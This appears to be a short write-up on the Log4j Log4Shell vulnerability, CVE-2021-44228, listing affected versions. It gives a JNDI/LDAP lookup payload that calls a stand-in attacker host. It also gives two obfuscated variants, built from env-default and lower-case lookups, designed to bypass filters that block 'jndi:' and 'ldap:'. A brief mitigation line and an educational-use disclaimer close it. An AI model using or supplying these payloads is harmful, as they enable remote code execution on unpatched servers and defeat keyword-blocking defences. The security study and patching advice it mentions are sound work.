🐱💻 ✂️ 🤬 LOG4J Java exploit - A trick to bypass words blocking patches
CVE-2021-44228 works on:
log4j: 2.0 <= Apache log4j <= 2.14.1
Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.
Simple attacker script (Possible RCE):
${jndi:ldap://somesitehackerofhell.com/z}
Many developers started to block phrases:
- "ldap:"
- "jndi:"
to secure applications.
However, the attacker can bypass it by using one of these techniques:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
From Apache Log4j 2 documentation: ${env:ENV_NAME:-default_value}
If there is no ENV_NAME system environment variable, use text after :-
The attacker can use any name instead of ENV_NAME, but it has to no exists.
On windows, you can check your system environment variables in PowerShell by writing:
dir env:
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup The LowerLookup converts the passed in argument to lower case. Presumably the value will be the result of a nested lookup.
${lower:<text>}
Upper Lookup The UpperLookup converts the passed in argument to upper case. Presumably the value will be the result of a nested lookup.
${upper:<text>}
I am not an author of the Lower or Upper Lookup bypass or CVE-2021-44228
Start your server with log4j2.formatMsgNoLookups
set to true
, or update to log4j-2.15.0-rc1
or later.
Keep it safe!
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This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.